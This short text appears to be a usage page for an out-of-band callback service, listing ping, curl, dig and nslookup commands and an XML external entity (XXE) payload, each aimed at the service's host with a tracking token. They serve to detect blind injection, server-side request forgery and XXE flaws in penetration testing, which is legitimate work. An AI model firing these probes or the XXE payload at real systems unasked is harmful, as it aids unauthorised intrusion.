$ ping -c1 -p 002ba974f361f163d3d782c7e46a5700 pingb.in
 

$ curl pingb.in/p/2ba974f361f163d3d782c7e46a57
 

$ dig 2ba974f361f163d3d782c7e46a57 @pingb.in
 

$ dig 2ba974f361f163d3d782c7e46a57.ns.pingb.in
 

C:\> nslookup 2ba974f361f163d3d782c7e46a57 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/2ba974f361f163d3d782c7e46a57">]>
    <foo>&xxe;</foo>